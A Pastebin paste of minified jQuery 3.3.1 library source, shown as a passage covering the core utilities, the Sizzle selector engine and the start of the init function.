Guest User

Untitled

a guest
Apr 30th, 2018
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 461.20 KB | None | 0 0
  1. /*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
  2. !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var 